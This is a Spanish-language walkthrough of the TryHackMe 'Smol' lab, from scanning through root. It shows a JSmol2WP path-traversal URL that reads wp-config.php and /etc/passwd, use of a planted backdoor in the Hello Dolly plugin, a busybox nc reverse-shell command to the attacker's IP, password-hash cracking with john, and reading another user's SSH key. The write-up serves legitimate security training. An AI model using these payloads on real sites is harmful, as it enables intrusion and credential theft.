Smol TryHackMe Writeup
Reconocimiento
Lanzamos nmap a todos los puertos, con scripts y versiones de software:
nmap -p- --min-rate 5000 -sVC -Pn -n 10.10.127.202 -oN nmap.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-27 19:18 CET
Nmap scan report for 10.10.127.202
Host is up (0.056s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://www.smol.thm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.94 seconds
Nota: Enumeramos el dominio smol.thm, insertamos en nuestro fichero hosts.
Accedemos al sitio web de Smol.thm en el puerto 80, enumeramos un sitio web que simula una plataforma de CTF:
También enumeramos los datos del fundador y su correo electrónico, esto podría servirnos para acceder al panel de control de WordPress:
Efectivamente, el usuario es válido, por lo que solo nos haría falta conseguir la contraseña asociada:
Lanzamos un escaneo con WPScan, con la idea de encontrar plugins vulnerables, restos de usuarios y otro tipo de información que nos pudiera servir.
Logramos enumerar un SSRF en el plugin “JSmol2WP”, curiosamente el nombre de la máquina se llama igual, y no creo en casualidades :D
wpscan --url http://www.smol.thm -e u,ap --api-token ************************
<SNIP>
[i] Plugin(s) Identified:
[+] jsmol2wp
| Location: http://www.smol.thm/wp-content/plugins/jsmol2wp/
| Latest Version: 1.07 (up to date)
| Last Updated: 2018-03-09T10:28:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| [!] 2 vulnerabilities identified:
|
| [!] Title: JSmol2WP <= 1.07 - Unauthenticated Cross-Site Scripting (XSS)
| References:
| - https://wpscan.com/vulnerability/0bbf1542-6e00-4a68-97f6-48a7790d1c3e
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20462
| - https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E5%8F%8D%E5%B0%84%E6%80%A7XSS
|
| [!] Title: JSmol2WP <= 1.07 - Unauthenticated Server Side Request Forgery (SSRF)
| References:
| - https://wpscan.com/vulnerability/ad01dad9-12ff-404f-8718-9ebbd67bf611
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20463
| - https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E5%8F%8D%E5%B0%84%E6%80%A7XSS
|
| Version: 1.07 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt
Explotación
Accedemos al enlace, dentro tenemos una prueba de concepto para verificar la vulnerabilidad:
Llamamos al fichero wp-config.php y conseguimos las credenciales de la base de datos:
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php
También enumeramos los usuarios unix, con la intención de enumerar ficheros relevantes como la clave privada SSH:
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../../../../../../../../../../../etc/passwd
Reutilizamos las credenciales del fichero y logramos acceder al WordPress:
Tenemos pocas opciones en el WordPress, revisando las publicaciones, encontramos uno privado que incluye una lista de prioridades y problemas que afectan al sitio:
Seguimos la lista, empezamos por el plugin “Hello Dolly”, aprovechamos el SSRF para cargar el contenido del fichero, logramos identificar una puerta trasera en el aplicativo:
Si decodificamos en hexadecimal, lograremos obtener “cmd”:
\143 corresponde al carácter "c".
\155 corresponde al carácter "m".
\x64 corresponde al carácter "d".
Hacemos una pequeña prueba, y logramos explotar el RCE:
Nos ponemos en escucha al puerto 443, ejecutamos el siguiente comando y logramos acceder a la máquina:
curl "http://www.smol.thm/wp-admin/?cmd=busybox%20nc%2010.9.3.149%20443%20-e%20sh"
Reverse shell
nc -nvlp 443
listening on [any] 443 ...
connect to [10.9.3.149] from (UNKNOWN) [10.10.127.202] 38000
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Intentamos encontrar el fichero user.txt pero sin éxito, probamos la contraseña sobre todos los usuarios unix, pero tampoco es funcional.
Recordamos que tenemos acceso a MySQL, nos conectamos y extraemos todos los hashes, con la idea de crackearlos e intentar reutilizar la contraseña con algún usuario:
mysql> select user_login,user_pass from wp_users;
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| admin | $P$BH******************KdX. |
| wpuser | $P$Bf*************BVh2Z1/E. |
| think | $P$BO****************k2n0d/ |
| gege | $P$B1U****************b3PX1 |
| diego | $P$BWF******************wv1 |
| xavi | $P$BB4z****************cql1 |
+------------+------------------------------------+
6 rows in set (0.00 sec)
Lanzamos john con el diccionario de rockyou y conseguimos crackear uno de los hashes:
john files/users.hashes --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
************** (?)
Reutilizamos la contraseña sobre el usuario Diego y logramos leer la flag de usuario:
www-data@smol:/home$ su diego
Password:
diego@smol:/home$ id
uid=1002(diego) gid=1002(diego) groups=1002(diego),1005(internal)
diego@smol:/home$ ls -lna
total 24
drwxr-xr-x 6 0 0 4096 Aug 16 2023 .
drwxr-xr-x 18 0 0 4096 Mar 29 2024 ..
drwxr-x--- 2 1002 1005 4096 Aug 18 2023 diego
drwxr-x--- 2 1003 1005 4096 Aug 18 2023 gege
drwxr-x--- 5 1000 1005 4096 Jan 12 2024 think
drwxr-x--- 2 1001 1005 4096 Aug 18 2023 xavi
diego@smol:/home$ cd diego/
diego@smol:~$ ls -lna
total 24
drwxr-x--- 2 1002 1005 4096 Aug 18 2023 .
drwxr-xr-x 6 0 0 4096 Aug 16 2023 ..
lrwxrwxrwx 1 0 0 9 Aug 18 2023 .bash_history -> /dev/null
-rw-r--r-- 1 1002 1002 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 1002 1002 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 1002 1002 807 Feb 25 2020 .profile
-rw-r--r-- 1 0 0 33 Aug 16 2023 user.txt
lrwxrwxrwx 1 0 0 9 Aug 18 2023 .viminfo -> /dev/null
diego@smol:~$ cat user.txt
********************
Escalada de privilegios
Revisando en los home de los usuarios, encontramos una copia de seguridad de WordPress, pero no tenemos acceso con el actual usuario y requerimos acceso con el usuario gege:
diego@smol:/home/gege$ ls -lna
total 31532
drwxr-x--- 2 1003 1005 4096 Aug 18 2023 .
drwxr-xr-x 6 0 0 4096 Aug 16 2023 ..
lrwxrwxrwx 1 0 0 9 Aug 18 2023 .bash_history -> /dev/null
-rw-r--r-- 1 1003 1003 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 1003 1003 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 1003 1003 807 Feb 25 2020 .profile
lrwxrwxrwx 1 0 0 9 Aug 18 2023 .viminfo -> /dev/null
-rwxr-x--- 1 0 1003 32266546 Aug 16 2023 wordpress.old.zip
diego@smol:/home/gege$ strings wordpress.old.zip
strings: wordpress.old.zip: Permission denied
diego@smol:/home/gege$ ll wordpress.old.zip
-rwxr-x--- 1 root gege 32266546 Aug 16 2023 wordpress.old.zip*
Continuamos revisando el resto de directorios, logramos leer la clave privada SSH del usuario think:
diego@smol:/home/gege$ cd ..
diego@smol:/home$ ls
diego gege think xavi
diego@smol:/home$ cd think/
diego@smol:/home/think$ ls -lna
total 32
drwxr-x--- 5 1000 1005 4096 Jan 12 2024 .
drwxr-xr-x 6 0 0 4096 Aug 16 2023 ..
lrwxrwxrwx 1 0 0 9 Jun 21 2023 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 Jun 2 2023 .bash_logout
-rw-r--r-- 1 1000 1000 3771 Jun 2 2023 .bashrc
drwx------ 2 1000 1000 4096 Jan 12 2024 .cache
drwx------ 3 1000 1000 4096 Aug 18 2023 .gnupg
-rw-r--r-- 1 1000 1000 807 Jun 2 2023 .profile
drwxr-xr-x 2 1000 1000 4096 Jun 21 2023 .ssh
lrwxrwxrwx 1 0 0 9 Aug 18 2023 .viminfo -> /dev/null
diego@smol:/home/think$ cd .ssh/
diego@smol:/home/think/.ssh$ ls -lna
total 20
drwxr-xr-x 2 1000 1000 4096 Jun 21 2023 .
drwxr-x--- 5 1000 1005 4096 Jan 12 2024 ..
-rwxr-xr-x 1 1000 1000 572 Jun 21 2023 authorized_keys
-rwxr-xr-x 1 1000 1000 2602 Jun 21 2023 id_rsa
-rwxr-xr-x 1 1000 1000 572 Jun 21 2023 id_rsa.pub
diego@smol:/home/think/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<SNIP>
BRQZtfjMvJ44sj9Oi4aE
81DXo7MfGm0bSFAAAAEnRoaW5rQHVidW50dXNlcnZlcg==
-----END OPENSSH PRIVATE KEY-----
diego@smol:/home/think/.ssh$
Nos conectamos por SSH con el usuario think, vemos que pertenecemos al grupo dev e internal:
ssh think@smol.thm -i files/think-id_rsa
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 28 Jan 2025 06:39:58 PM UTC
System load: 0.01 Processes: 126
Usage of /: 56.9% of 9.75GB Users logged in: 0
Memory usage: 14% IPv4 address for ens5: 10.10.29.247
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
162 updates can be applied immediately.
125 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Jan 28 18:27:14 2025 from 10.9.3.149
think@smol:~$ ls -lna
total 32
drwxr-x--- 5 1000 1005 4096 Jan 12 2024 .
drwxr-xr-x 6 0 0 4096 Aug 16 2023 ..
lrwxrwxrwx 1 0 0 9 Jun 21 2023 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 Jun 2 2023 .bash_logout
-rw-r--r-- 1 1000 1000 3771 Jun 2 2023 .bashrc
drwx------ 2 1000 1000 4096 Jan 12 2024 .cache
drwx------ 3 1000 1000 4096 Aug 18 2023 .gnupg
-rw-r--r-- 1 1000 1000 807 Jun 2 2023 .profile
drwxr-xr-x 2 1000 1000 4096 Jun 21 2023 .ssh
lrwxrwxrwx 1 0 0 9 Aug 18 2023 .viminfo -> /dev/null
think@smol:~$ id
uid=1000(think) gid=1000(think) groups=1000(think),1004(dev),1005(internal)
think@smol:~$
Lanzamos el script lse.sh y enumeramos una copia de seguridad de WordPress, pero no contamos con permisos de root:
[!] fst190 Can we read any backup?......................................... yes!
---
-rw-r--r-- 1 root root 291970 Mar 29 2024 /opt/wp_backup.sql
Leemos el contenido del fichero wp_backup.sql, logramos identificar los diferentes hashes de la copia de seguridad:
--
-- Dumping data for table `wp_users`
--
LOCK TABLES `wp_users` WRITE;
/*!40000 ALTER TABLE `wp_users` DISABLE KEYS */;
INSERT INTO `wp_users` VALUES (1,'admin','$P$Bv******************aACL1','admin','admin@smol.thm','http://192.168.204.139','2023-08-16 06:58:30','',0,'admin'),(2,'wpuser','$P$BfZj******************/E.','wp','wp@smol.thm','http://smol.thm','2023-08-16 11:04:07','',0,'wordpress user'),(3,'think','$P$B0******************b7Vd/','think','josemlwdf@smol.thm','http://smol.thm','2023-08-16 15:01:02','',0,'Jose Mario Llado Marti'),(4,'gege','$P$Bs******************0m1','gege','gege@smol.thm','http://smol.thm','2023-08-17 20:18:50','',0,'gege'),(5,'diego','$P$BW******************wv1','diego','diego@smol.thm','http://smol.thm','2023-08-17 20:19:15','',0,'diego'),(6,'xavi','$P$Bv******************qJZCN/','xavi','xavi@smol.thm','http://smol.thm','2023-08-17 20:20:01','',0,'xavi');
/*!40000 ALTER TABLE `wp_users` ENABLE KEYS */;
UNLOCK TABLES;
Con el anterior hallazgo, intentamos crackear la de los usuarios restantes Gege y Xavi, con la intención de escalar privilegios, así que volvemos a utilizar john y el diccionario rockyou, finalmente conseguimos la contraseña de Gege:
john gege.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
*********************** (?)
1g 0:00:04:45 DONE (2025-01-28 19:50) 0.003499g/s 26669p/s 26669c/s 26669C/s herochoi..hero224
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed.
Aquí detectamos un bug en la máquina, y es que es posible pasar al usuario gege sin la contraseña (Un golpe de “suerte” ;)):
think@smol:~$ su gege
gege@smol:/home$ cd gege/
gege@smol:~$ ls -lna
total 31532
drwxr-x--- 2 1003 1005 4096 Aug 18 2023 .
drwxr-xr-x 6 0 0 4096 Aug 16 2023 ..
lrwxrwxrwx 1 0 0 9 Aug 18 2023 .bash_history -> /dev/null
-rw-r--r-- 1 1003 1003 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 1003 1003 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 1003 1003 807 Feb 25 2020 .profile
lrwxrwxrwx 1 0 0 9 Aug 18 2023 .viminfo -> /dev/null
-rwxr-x--- 1 0 1003 32266546 Aug 16 2023 wordpress.old.zip
Además, realizamos la comprobación de la contraseña, y al parecer no es válida :D
gege@smol:/home/think$ sudo -l
[sudo] password for gege:
Sorry, try again.
[sudo] password for gege:
Sorry, try again.
[sudo] password for gege:
sudo: 2 incorrect password attempts
Descargamos el fichero wordpress.old.zip e intentamos descomprimir, vemos que el fichero requiere de contraseña:
unzip wordpress.old.zip
Archive: wordpress.old.zip
creating: wordpress.old/
[wordpress.old.zip] wordpress.old/wp-config.php password:
Probamos con la contraseña que hemos crackeado de gege y funciona!:
ls -lna
total 240
drwxr-x--- 5 1000 1000 4096 Aug 16 2023 .
drwxrwxr-x 3 1000 1000 4096 Jan 28 19:57 ..
-rw-r--r-- 1 1000 1000 523 Aug 16 2023 .htaccess
-rw-r--r-- 1 1000 1000 405 Aug 16 2023 index.php
-rw-r--r-- 1 1000 1000 19915 Aug 16 2023 license.txt
-rw-r--r-- 1 1000 1000 7399 Aug 16 2023 readme.html
-rw-r--r-- 1 1000 1000 7211 Aug 16 2023 wp-activate.php
drwxr-xr-x 9 1000 1000 4096 Aug 16 2023 wp-admin
-rw-r--r-- 1 1000 1000 351 Aug 16 2023 wp-blog-header.php
-rw-r--r-- 1 1000 1000 2323 Aug 16 2023 wp-comments-post.php
-rw-r--r-- 1 1000 1000 2994 Aug 16 2023 wp-config.php
drwxr-xr-x 7 1000 1000 4096 Aug 16 2023 wp-content
-rw-r--r-- 1 1000 1000 5638 Aug 16 2023 wp-cron.php
drwxr-xr-x 27 1000 1000 12288 Aug 16 2023 wp-includes
-rw-r--r-- 1 1000 1000 2502 Aug 16 2023 wp-links-opml.php
-rw-r--r-- 1 1000 1000 3927 Aug 16 2023 wp-load.php
-rw-r--r-- 1 1000 1000 49441 Aug 16 2023 wp-login.php
-rw-r--r-- 1 1000 1000 8537 Aug 16 2023 wp-mail.php
-rw-r--r-- 1 1000 1000 25602 Aug 16 2023 wp-settings.php
-rw-r--r-- 1 1000 1000 34385 Aug 16 2023 wp-signup.php
-rw-r--r-- 1 1000 1000 4885 Aug 16 2023 wp-trackback.php
-rw-r--r-- 1 1000 1000 3236 Aug 16 2023 xmlrpc.php
Leemos el contenido del fichero wp-config.php, y encontramos unas credenciales del usuario Xavi:
Nos autenticamos como Xavi, vemos si existen ficheros relevantes, revisamos si tenemos permisos de SUDO:
gege@smol:~$ su xavi
Password:
xavi@smol:/home/gege$ id
uid=1001(xavi) gid=1001(xavi) groups=1001(xavi),1005(internal)
xavi@smol:/home/gege$ cd ..
xavi@smol:/home$ cd xavi/
xavi@smol:~$ ls -lna
total 20
drwxr-x--- 2 1001 1005 4096 Aug 18 2023 .
drwxr-xr-x 6 0 0 4096 Aug 16 2023 ..
lrwxrwxrwx 1 0 0 9 Aug 18 2023 .bash_history -> /dev/null
-rw-r--r-- 1 1001 1001 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 1001 1001 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 1001 1001 807 Feb 25 2020 .profile
lrwxrwxrwx 1 0 0 9 Aug 18 2023 .viminfo -> /dev/null
xavi@smol:~$ sudo -l
[sudo] password for xavi:
Matching Defaults entries for xavi on smol:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User xavi may run the following commands on smol:
(ALL : ALL) ALL
Y para finalizar, invocamos con SUDO una BASH para ganar acceso como root, y leemos la última flag:
xavi@smol:~$ sudo bash
root@smol:/home/xavi$ cat /root/root.txt
**********************
root@smol:/home/xavi$
¡Hasta la próxima! ¡Que la “suerte” os acompañe!